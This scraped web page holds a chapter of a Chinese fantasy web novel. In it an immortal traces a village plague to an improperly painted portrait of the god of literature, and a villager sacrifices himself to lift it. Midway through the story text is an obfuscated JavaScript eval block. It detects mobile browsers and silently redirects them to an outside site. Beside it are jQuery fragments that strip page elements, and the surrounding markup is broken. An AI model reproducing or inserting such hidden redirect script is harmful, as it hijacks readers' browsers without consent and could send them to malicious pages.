48. 三莽汉上山下山7
作品:《谁家好仙跑去地府打工》 隗晎低头,向地上依旧端跪的庄新生问去,道:“和以往相比,村里最近可有人行过什么不寻常的事?或者疫病之前,村子里出过什么事?”
庄新生仔细回忆道:“我来村子后,一切都挺正常。他们都是老老实实的山民,也都本本分分,村子里没有什么奇异的事发生。”
一旁的小庄帮忙细细回忆,嘀咕道:“倒是和往常一样…大家都种种田,打打猎,没什么特别的事。”
顿然,小庄看向庄新生,道:“若真说有什么和以前不一样,那便是二庄来了以后,大家除了干活,便是在二庄的棚子里凑热闹,闲暇时,会和孩童一起读书认字。”
隗晎道:“读书认字…这种事倒是起不了邪祟。”
但,若是认真了,或是,村里因此改了命数,也是有可能招来祸端和天罚。
想了片刻,隗晎继续问道:“这一年多里,可有在村里迎神,或是大肆祭拜?”
小庄摇头道:“没有…村里不兴那东西。”
大庄也摇了摇头。
庄新生眉头紧蹙,眼睛惊恐瞪大,身体紧绷,微微左右晃荡,嘴唇颤抖道:“…有…有的…”
他抬起头,有些不知所措,十分后怕道:“我那…授课的棚板上有一副小像,是…是我画的文曲星君像。在仁义村里授业几年,有几个孩童还算勤奋,学有所成。恰巧,一年多以前,我在镇上买纸墨笔砚时,听了修行道士所劝,买了他们供香火的宣纸,请了文曲星君来,希望他能佑几人入仕,助仁义村脱离此境…”
小庄诧异,道:“那小像是仙君像吗?我还当是什么画…他们下课后,总喜欢去临摹你那张小像玩…会不会也是这个原因呢?”
小庄想起以前在棚子里看见的事,望向隗晎,问道:“仙者,你觉得会是这个原因吗?”
隗晎道:“都有可能。”
可也不全然是。
神明虽好脸面,但对凡人尤为宽容,玩笑不过火,按理说都会睁一只眼闭一只眼。
更何况还是一副纸像…
应当是还有其他原因并存。
他向庄新生问道:“你画的仙君像,除开普通墨汁外,可还用了其他东西?”
庄新生道:“玉袍和头冠涂了朱砂粉。”
大庄站在一旁,木楞道:“若是加了鸡血,会不会坏事?”
隗晎道:“倒是也有影响。”
大庄喃喃道:“朱砂是红的,鸡血也是红的,以前在山里,山匪喜欢在朱砂粉里加鸡血,说是能辟邪。”
隗晎道:“鸡血正气足,山匪用来图画,的确能避精怪小鬼。”
庄新生自责道:“这样想来,多半还是因为我胡乱为村里请了神…”
小庄争辩道:“二庄,仙者都说了,他们随意临摹神像,不敬神像,也可能是这个原因,不怪你的,你是为我们村好,若是他们几个能做上官大爷,我们村不就有好多精面可以吃了吗?”
大庄吼道:“好了,不用争了,都怪我,没事他娘的捡了土匪的习惯回来…都是我的错。”
庄新生道:“不是的,错都在我。”
小庄道:“不在你,怎么都算不到二庄你的头上,你是好心。”
庄新生道:“我好心办了坏事…”
小庄嗫嚅道:“不是坏事,你来了,我们学会了好多好多东西。”
庄新生道:“小庄,你别替我辩解了,都是我的错…”
大庄眉头紧皱道:“好了!他娘的,我们不是都找到仙者了吗?”
小庄闭了嘴,二庄理智回笼,道:“仙者,敢问此事是因何缘由?”
停顿片刻,几人终于想起来向隗晎征询意见。
凡人尘心,以前隗晎不明白天界的人为何会厌烦,此时,他倒是体会到了。凡人闹起来,根本不会管站在他们周围的是什么人。
隗晎清修久了,竟是有些受不住这样的嘈杂,蹙眉淡淡地道:“我不知仁义村众人命数,若是无意间逆天篡改了凡人命数,倒是可能因此招来天罚。供纸画像,鸡血添色,不敬神君,这些也都会引来神明降罪。你们说村中并无村民死亡,只是大家都分别遭受了痛苦病症折磨,日子变得越来越苦,照这样来看,村中异事更多像是因你们请神不当,招来的神明之罚。”
说完,隗晎手掌蜷握,捏碎了那薄薄的黑气,黑气中有一丝灵气溢出,气息他十分熟悉。
隗晎挥袖带起一阵山风,把那微弱的一缕灵气抛向旁边那一群人,他朝怀晓凝视道:“他们用过神池水了?”
山风和那缕溶在风中的灵气,扑打在众人脸上,杨战息低头回避,宋世平紧眉自责,南泥一副事不关己的态度,左看看右看看,视线在宋世平和杨战息身上流转。
而其他人左顾右盼,纷纷回忆起与庄氏兄弟三人的相遇。
怀晓耳上坠子晃动,温声道:“他们三人过断崖后肉身伤得太重,便带他们去用神池水洗了洗。”
怀晓担了责,可众人心虚的模样,让他的这句话听起来不太有说服力。
隗晎面漏不悦,回头对面前三人道:“路了绿今日遭难之事,本该在我为你们承愿后让你们悉数尽还,但现在看来,我的人也有一部分责任。解法我可以告诉你们,但还望你们知晓,有路了绿的事在前,我等不能为你们下山,不管解法如何,都需要你们自解。”
三人整齐跪拜在隗晎面前,齐齐感恩道:“只要仙者告知解法,我们自己闯下的祸,我们会自己去解决。”
手中掐算,隗晎道:“此法不需要那么多人。”
他蹲了下来,独独看向庄新生,道:“解法需你从此消失在世,你可愿意?”
庄新生跌回地上,受了惊吓,眼中光泽尽失。
小庄凑过来,挡在庄新生面前,直视隗晎,道:“仙者…你不要选二庄,二庄命苦…身世惨,你…你选我吧,我来做那‘解法’。”
大庄鼻子一哼,一把将小庄拉倒在地。
他凑到隗晎面前,朝身旁大喝道:“什么时候要你来了,这事你们两都不能做,老子活够了,眼睛还不好使,老子来。”
隗晎垂眼笑了笑,站了起来,手指庄新生,道:“有些事是争不来的,都是一早就注定好会是这结果。他画像那日,你们村六百多人疫病的解法,就只能由他来解。”
三人神情黯然,牙口紧咬,一副不想认命的模样。可他们刚抬起头一毫,便被隗晎伸向庄新生那一指压了回去,反复数次,他们还想再挣一挣的心,彻底死了。
三人萎了下来,对隗晎妥协。
他们三人死的是谁,根本就都不重要,重要的是能以一命换一村。
此心此境,从一开始,论的就不是怎么去做,谁来做,而是目的能成,便可以抵一切…隗晎太明白这一点了,他想起这几日在蓬莱岛受的欺辱,终换来岛主一面,也终于为他们当中的一人求得容身之所。
那百般无奈和艰辛,他独自一人受了,结果是好的,他也就心甘情愿了。
再论,他拼命争来的都如此薄弱,更何况是面前的三个□□凡人。
他脑海中不由自主地,又想起几千年前的那一个月,到底是一位仙君怎样的倾心相付,才能让他们十七人重获新生,他不敢想,却又不得不想。
他再一次朝庄新生问道:“解法要你从此消失在世,你可愿意?”
庄新生回了神,推开挡在他面前的大庄和小庄,没有犹豫,没有忐忑,已然面对,笑容满面道:“神罚是我带来的,我愿意为仁义村,以身解罪。”
手收了回来,隗晎神情恢复自然,双手再次拉起结界,引出法力,将仁义村上百人的愿力奉出,口齿宛若神明降福,振振有声道:“信者心愿,吾名隗晎,愿为其解。樱山池水底,有一灵石,拭神污渍,清解瘴气,化净邪怨,愿赠与尔,尔可愿以身承否?”
庄新生双手举过头顶,得酆小洪在其手中施术,道:“我愿意。”
‘愿力’消,法力转,金光散,隗晎左手小臂和手背的簇簇小红花一同隐了下去。
事毕,隗晎多说了一句,道:“画像是你画出的,只有你才能彻底消解,其他人替代不了。”
庄新生摇头道:“即便不是我画的,我也愿意。”
说完,看向抱着他早已哭成泪人的粗肢壮汉,庄新生反手搂抱两人,拍手安抚道:“没事的…当日你们若不捡我回去,若不是愿舍了最喜欢的白面馒头喂给我吃,若不是仁义村曾诚心待我…我怎么能苟活至今日,我其实很满足了。”
三个“若不…”,说得他本人,好似早就该死,以及此时的选择,仿佛就该是这样。
小庄鼻涕眼泪横流,在庄新生怀里蹭了蹭,道:“不是的…二庄,我很胆小,我害怕闯祸,你会教我如何不畏惧。我也很自私,我害怕你走了,就没人愿意保护我,也没有人愿意教我不怕事了。我…我还害怕,大庄以后肯定会欺负我,我只是害怕…可不可以换我替你去死…你留…留下。”
小庄呜呜声一阵,庄新生安抚了好一会儿,才摊开双手,漏出隗晎给的那道取灵石的术法印记,道:“大庄不会欺负你,你忘了…这上山一路,都是他在保护你,往后,他也会保护好你的。”
大庄默默地流泪,他说不出小庄那番挽留人的话,啜泣时,庄新生方才提到了他,他也只是默默地记下,当做逝者临别嘱托,牢牢地刻进了心里。
承愿一事了毕,隗晎撤了结界,山顶上的众人围了过来。
杨战息等人因庄氏兄弟三人上山的事,都多多少少有一部分责任,便避了隗晎,跑上石台,关心路了绿身上的情况。
唯有怀晓独自走到隗晎身旁,自责道:“他们能上山,是我疏忽大意了。”
隗晎默不作声,神色有一丝落寞,道:“此事已过,不用再提。这次去蓬莱都水司,我见到六波天主帝君了,他同意飞升后,收小音入名下。”
怀晓心下思忖,道:“不是来信说昨日回吗?是在路上遇见什么事了吗?”
隗晎点头,道:“嗯,在蓬莱岛听到了一点关于真君的消息,便耽搁了些时间。当年她回去的时候,身体不大好,受了很重的伤,这些年一直关在天界,他们没给真君好好疗伤,还罢黜真君仙职,抽了真君仙骨,剔了真君仙根,独留了一身血和那副神格…”
视线落在石台上那六名外貌从未变过的小道人身上,隗晎嘴唇微抿,神色焦灼,道:“近日,天道降下神旨,他们拉了众仙商议,要判罚真君入六道轮回渡劫。应该不久便会执行,留给我们的时间不多了,他们六人可有进展?”
怀晓攒眉道:“心境未见长…”
垂下眼眸,隗晎目光不经意落在地上那抱头痛哭的三人身上,迟疑道:“若是…若是我说我不想等了…”
他话还没说完,怀晓便答道:“可以。”
脚下走了半步,他靠近隗晎两分,在手上起一个诀。
怀晓将隗晎一起锁进了一个结界中,隐了两人谈话的声音,道:“我知你心里很急,临境这几人,有一半都是靠你渡送法力才能有现在这番突破,你不必把所有责任都继续揽在自己身上,你想怎么做,我们都支持你。”
隗晎顿了许久才道:“我并非放弃他们。”
怀晓目光坚定,话语诚挚,认真道:“我知道。”
隗晎转头看向石台上的人,道:“我打算等珪珖临境就引下雷霆。”
怀晓静静地听着,和隗晎一起望向石台上,齐齐看着那打打闹闹的一群人。
良久,隗晎眉心深愁,看起来像有什么事情很难抉择。
怀晓不常见隗晎这样,即便是为他们几人去求助于仙门洞府,他也没见隗晎这么为难过。
他安慰道:“你所有的决定,我相信都没有问题。”
隗晎声音有些颤抖,似乎这番话有些让他难以启齿,道:“怀晓你留下来吧,替我守着他们六人,其他人我信不过。按照珪珖的修为,雷霆也就是在这两三千年了,齐同舟他们六人的修炼根本赶不上。我在蓬莱都水司还查到一个飞升的方法,真君神格,可以用修为法力点飞小将,到时候即便他们依旧不能成,我也能将他们带上去。”
未做犹豫,怀晓笑容不改,恳切道:“好,我留下。”
隗晎手掌紧紧握住,十指太用劲了,以至于青白毫无血色,他眼里有一丝不甘,心里却不得不妥协,怒恨上苍,咬牙啮齿道:“我会尽快修炼,引渡升阶雷,接你们上去。”
怀晓笑道:“好,我相信你。”
隗晎的话,怀晓都是信而无疑。
因为,他们比亲友相处得还久,他们一起经历了很多事,他们从生到死,再从死到生,到如今肉身不灭,神魂坚毅…他们是彼此最难抛舍的存在。
众人虽然都不说,但怀晓知道,十七人也都是这样想的。
结界外,溪亖音手在两人衣袖上拉拉扯扯,眼睛咕噜噜转动,嘴巴张了张,她见面前两人没有反应,还在互相说着小话,便知道,两人又当他们几人面,拉设结界讲悄悄话。
她眉头轻皱,手上拉动两只的袖子的幅度越来越大,斜嘴不满,来回朝两人做眼色。
怀晓注意到了,手打一个响指,解了结界,溪亖音嗔怒道:“你们两个又讲小话!你们不带别人可以,怎么也能不带我呢!!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573083|171191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
怀晓摸了摸溪亖音的头道:“下次不会了,以后我和隗晎说悄悄话,都会拉小音一起,怎么样?”
溪亖音双手叉腰道:“这还差不多。”
许是受情绪影响,隗晎对地上三人道:“他以凡身肉胎承灵石,虽说是注定要就此灰飞烟没,但你…”
隗晎指向瞎了眼的大庄,大庄怔住一瞬,呢喃道:“我?”
小庄从庄新生怀里抽了出来,紧张地望向隗晎,希冀道:“大庄可以救二庄吗?”
隗晎答道:“不能。但他三魂有缺,我可以替你们抽出庄新生的一魂寄养在他的魂魄里,从此庄新生便能和他两魂一命。”
大庄同意道:“好啊!我这副身子,除了瞎了一只眼以外,身体还是挺强壮的,养我们两个没有问题。”
小庄拍了拍大庄胸口,替他向隗晎证明道:“大庄身体很好的,回去以后,我也会督促他锻炼。”
二人举动,让庄新生哽咽无语,动容满面。
隗晎心情舒畅了一分,道:“至此,你们二人便成了一人,也可以吗?”
大庄道:“我可以,只要二庄不嫌弃。”
庄新生感动道:“我怎么会嫌弃呢。”
隗晎嘴角微翘道:“若是机缘到了,你也是可以剥离出来,再入轮回得新生,但若这瞎眼壮汉有一世心地不纯,吞了你的这一魂,你同样还是会自此在这世间消失,你可还愿意?你可放心?你可敢赌?”
地上三人信心满满,齐声道:“愿意!”
一如当年,隗晎在三宫九府洞口拉众人立誓一般——十七人定要一起飞天做仙。
隗晎感慨道:“希望你们三人能做到吧。”
地上三人又齐齐感恩道:“多谢仙者,万福大安。”
半日后,庄氏兄弟三人在隗晎的指引下,再次来到神水池。
在隗晎的护法下,庄新生潜入池底找到了那块灵石,他刚碰到那块灵石,灵石就吃了他的血肉,融进了他的身体里。
为了让三人尽快回到仁义村解决村民疫病,消除邪祟瘴业,隗晎还捏了一个小诀,将人当天傍晚便传送回了村子口。
三人脚下刚沾地,落在道观神殿中的包袱冲天直降,砸在了他们身上,同时,三人眼前炸起金色烟花,伴随而来几人碎碎念的声音。
南泥道:“哎呀,又做好事一桩,我怎么这么有善心呢。”
杨战息轻哼道:“你?你少折点树苗,估计就算是有善心了。”
溪亖音疑惑道:“南泥,真不怪杨战息每次都挤兑你,这不是凉离和甘歌耗法力做的事吗?怎么又算到你头上了。”
南泥道:“小音,你这就说错了,法力的确是耗了凉离和甘歌的,看上去也好像是他两送过去的,可是!!那堆东西散落在殿外,却是我打包的啊!小音,我给你说,你可千万别学他们,你不能厚此薄彼,我没功劳也有苦劳的…你是不是不相信,真是我做的,你不信问宋世平,他和杨战息当时都看着呢。”
溪亖音道:“就知道偷捡功劳。”
南泥道:“小音…你居然不相信我,我怎么这么惨啊,最可爱的小音都不相信我做好事、积善德…我好委屈啊…”
杨战息哼了一声,宋世平道:“确实是南泥一件一件收捡好的。”
杨战息吐槽道:“宋世平!你怎么也睁眼说瞎话了?明明是乐正一挥手给拾起来的,南泥只在最后打了一个结。”
南泥道:“杨战息!!我跟你有仇吗?你…你把你刀给我拿开啊,你手不稳的,我和你无冤无仇,你伤到我怎么办!现在神池水可没灵气了,没法好好疗伤。”
乐正词媿道:“珪光刚好在琢磨丹药,正缺一个人帮忙,打伤了就直接送过去。”
溪亖音糯糯道:“原来如此,还是乐正人美心善,助人为乐。”
乐正声音冷冷道:“不是…小音你别随意给我强加这些,我不喜欢。不过是方才去神殿,那些东西挡道了。”
南泥不服气道:“就当收拾包袱这一样不算,可终归还不是我去叫了凉离和甘歌来,这才能把东西还给人家。那可是他们村子凑出来的好东西…不好好送回去,不就叫我们白占了。想想看,多不道德,我们可都是要成仙的人,我替你们挽回了多大的名声。”
溪亖音道:“南泥,为什么你不自己用法力送啊?何苦还要大老远把甘歌凉离找来。”
路了绿实诚道:“南泥最近斩杀精怪受了伤,他要节约法力。”
杨战息道:“难怪跑去要挟凉离和甘歌,说什么是他们把那三人吓成这样,才让人家损了钱财,原来是自己能力不足了。”
南泥倔强道:“你又知道了?就不能是凉离和甘歌心甘情愿过来帮忙吗!”
甘歌淡淡道:“无聊,我有事要忙。”
凉离笑呵呵道:“我是正好空闲,甘歌的话,就是百忙中抽出的时间来…哎,甘歌,你别急着走,你去哪修炼,我和你一起,你等等。”
溪亖音淡淡道:“珪珖,你这又在练什么术法啊?咱们聊聊天,你也这么刻苦?”
珪珖腼腆道:“在练信诀。路了绿都临境了,我也得赶快些,不拖大家后腿…”
金色烟花,又炸开几簇,三人又听到一串声音…
一阵“噔噔噔”的蹦跳修炼声,大小不一,长短不一,远近不一,轻重不一,一同响起,越来越远,越来越轻。
南泥道:“信诀?你这一道道的,送给谁的?这么复杂,你这都是谁,怎么听着不像你的声音…等一下!!怎么是我的声音!”
珪珖道:“哦…适才向凉离请教过信诀的手势,便顺带跟着凉离和甘歌的术法一同起了诀,我瞧瞧飞信的方位哈,这…应该是…是送到包袱落下的地方了吧。”
数道震惊声响起:“啊!!”“什么!”“你把我们的对话送过去了!”“你…”
珪珖道:“嗯,我自己没有那么多话要讲,只能把你们刚刚说的给装了进去。”
“…”
“…”
“…”
又几簇金色烟花炸开,几道信诀在庄氏兄弟面前炸开,但里面却一点声音都没有,空余一片静默。
三人捡起地上包袱,进了村。
第二日一大早,庄新生便拿了笔去修改棚板上的那幅文曲星君画像,又去村子里收捡回了那些被学子临摹走,遭遇亵渎的小像,最后,尽心尽力,一如最初在仁义村安生时,村民对他的照顾一般,挨家挨户为其吸纳走了邪祟气息。
他身体一日比一日差,不足月余,因身体太过脏晦,他于大庄和小庄的照料下,在某日深夜睡梦中,化成了一滩黑泥。